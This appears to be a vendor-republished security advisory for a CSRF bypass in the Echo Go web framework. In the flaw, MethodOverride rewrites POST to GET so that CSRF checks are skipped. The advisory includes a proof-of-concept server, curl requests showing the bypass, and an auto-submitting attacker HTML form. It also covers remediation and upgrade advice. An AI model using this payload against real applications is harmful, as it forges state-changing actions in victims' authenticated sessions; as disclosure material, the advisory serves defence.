Summary
Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method
The MethodOverride middleware accepts any non-empty string as the override target method, including safe methods (GET, HEAD, OPTIONS, TRACE), when rewriting a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain (e.Use()), it rewrites the request method to a safe method before CSRF evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern Sec-Fetch-Site protection path are bypassed simultaneously.
Affected Component
middleware/method_override.go,MethodOverrideConfig.ToMiddleware()(lines 55–71): no whitelist on the override target methodmiddleware/csrf.go,CSRFConfig.ToMiddleware()(lines 188–189): safe-method bypass branch reads the already-rewritten methodmiddleware/csrf.go,checkSecFetchSiteRequest()(line 283):Sec-Fetch-Sitesafe check also reads the rewritten method
Description
MethodOverride accepts safe methods as override targets
MethodOverrideConfig.ToMiddleware() (method_override.go:55-71) restricts the source method (only POST requests are overrideable) but applies no whitelist to the target:
// method_override.go:61-67
req := c.Request()
if req.Method == http.MethodPost {
m := config.Getter(c)
if m != "" {
req.Method = m // ← any non-empty string accepted, including "GET"
}
}
The docstring's security claim, "For security reasons, only POST method can be overridden", refers only to the source-method restriction. There is no guard preventing POST from being rewritten to GET, HEAD, OPTIONS, or TRACE. The test suite (method_override_test.go) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.
CSRF safe-method branch reads the already-rewritten method
CSRFConfig.ToMiddleware() (csrf.go:188-189) makes its validation decision based on c.Request().Method at the time it runs:
// csrf.go:188-189
switch c.Request().Method {
case http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:
// skip validation, no token check
default:
// validate CSRF token
If MethodOverride has already run and set req.Method = "GET", this switch falls into the skip branch regardless of the original HTTP method or what handler was matched.
The Sec-Fetch-Site-based path in checkSecFetchSiteRequest() (csrf.go:283) is identically vulnerable:
// csrf.go:283
isSafe := slices.Contains(safeMethods, c.Request().Method)
With req.Method = "GET" (already rewritten), isSafe = true and the function returns true, the request is allowed even when Sec-Fetch-Site is cross-site. Both CSRF protection paths are bypassed in a single step.
Execution chain
In echo.go:700, routing and middleware wrapping are performed in one step:
h = applyMiddleware(e.router.Route(c), e.middleware...)
e.router.Route(c)evaluates withreq.Method = "POST"→ matches and binds the POST/transferhandlerapplyMiddlewarewraps it:MethodOverride → CSRF → postHandler
At request execution time:
3. MethodOverride runs: req.Method == "POST" → reads form field _method = "GET" → req.Method = "GET" → calls next
4. CSRF runs: c.Request().Method = "GET" → case http.MethodGet → skips token validation → calls next
5. postHandler runs (the handler matched in step 1, the original POST /transfer state-change handler)
The state-changing handler executes with no CSRF token validation and with no Sec-Fetch-Site check.
The missing target-method whitelist is the root cause
The legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET, that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.
Proof of Concept
package main
import (
"net/http"
echo "github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
// MethodOverride before CSRF, both in e.Use() (post-routing)
e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{
Getter: middleware.MethodFromForm("_method"),
}))
e.Use(middleware.CSRF())
e.POST("/transfer", func(c *echo.Context) error {
return c.String(http.StatusOK, "transfer executed")
})
e.Logger.Fatal(e.Start(":18080"))
}
# Baseline, CSRF correctly blocks a POST without a valid token
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'amount=100'
# HTTP/1.1 400 Bad Request (missing CSRF token)
# Bypass, _method=GET rewrites method before CSRF runs, skipping token validation
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data '_method=GET&amount=100'
# HTTP/1.1 200 OK
# transfer executed
# Browser-based CSRF PoC (attacker's page, auto-submits on load):
# <form method="POST" action="https://victim.example/transfer" id="f">
# <input name="_method" value="GET">
# <input name="amount" value="1000">
# <input name="to" value="attacker_account">
# </form>
# <script>document.getElementById('f').submit();</script>
The same bypass works with MethodFromHeader (X-HTTP-Method-Override: GET) and MethodFromQuery (?_method=GET).
Recommended Remediation
Option 1: Whitelist only unsafe methods as override targets in MethodOverride (preferred)
The root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:
// method_override.go, illustrative fix
var allowedOverrideMethods = map[string]bool{
http.MethodPut: true,
http.MethodPatch: true,
http.MethodDelete: true,
}
// in ToMiddleware:
if req.Method == http.MethodPost {
m := config.Getter(c)
if m != "" && allowedOverrideMethods[m] {
req.Method = m
}
}
Option 2: Use e.Pre() for MethodOverride and document the ordering requirement
Placing MethodOverride in e.Pre() (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST /transfer is registered, a POST-to-GET override results in a 405/404, the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in e.Use() when CSRF middleware is also registered:
// MethodOverride returns a MethodOverride middleware.
//
// IMPORTANT: Register this middleware with e.Pre(), not e.Use().
// If registered with e.Use() before CSRF middleware, method rewriting
// occurs after route matching but before CSRF validation, allowing
// attackers to bypass CSRF token checks by specifying _method=GET.
func MethodOverride() echo.MiddlewareFunc {
Option 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Workarounds
Register MethodOverride with Echo#Pre (as documented), register CSRF before MethodOverride, or use the default header getter (X-HTTP-Method-Override), which a cross-site form cannot set.
Impact
- Any state-changing endpoint protected by
CSRF()is reachable without a valid CSRF token when the vulnerable middleware ordering is present - The
Sec-Fetch-Sitemodern-browser CSRF protection is bypassed simultaneously, browsers that supportSec-Fetch-Siteprovide no additional defense - Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation, any POST-protected operation
- Audit logs may record
GETas the HTTP method for what were actually state-changing operations
A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.
CVE-2026-118266 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.4.0, 4.16.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The MethodOverride middleware no longer overrides a POST to GET, HEAD, OPTIONS, TRACE or CONNECT.
Frequently Asked Questions
- What is CVE-2026-118266? CVE-2026-118266 is a medium-severity cross-site request forgery (CSRF) vulnerability in github.com/labstack/echo/v5 (go), affecting versions >= 5.0.0, < 5.4.0. It is fixed in 5.4.0, 4.16.0. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
- How severe is CVE-2026-118266? CVE-2026-118266 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-118266?
github.com/labstack/echo/v5(go) (versions >= 5.0.0, < 5.4.0)github.com/labstack/echo/v4(go) (versions < 4.16.0)
- Is there a fix for CVE-2026-118266? Yes. CVE-2026-118266 is fixed in 5.4.0, 4.16.0. Upgrade to this version or later.
- Is CVE-2026-118266 exploitable, and should I be worried? Whether CVE-2026-118266 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-118266 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-118266?
- Upgrade
github.com/labstack/echo/v5to 5.4.0 or later - Upgrade
github.com/labstack/echo/v4to 4.16.0 or later
- Upgrade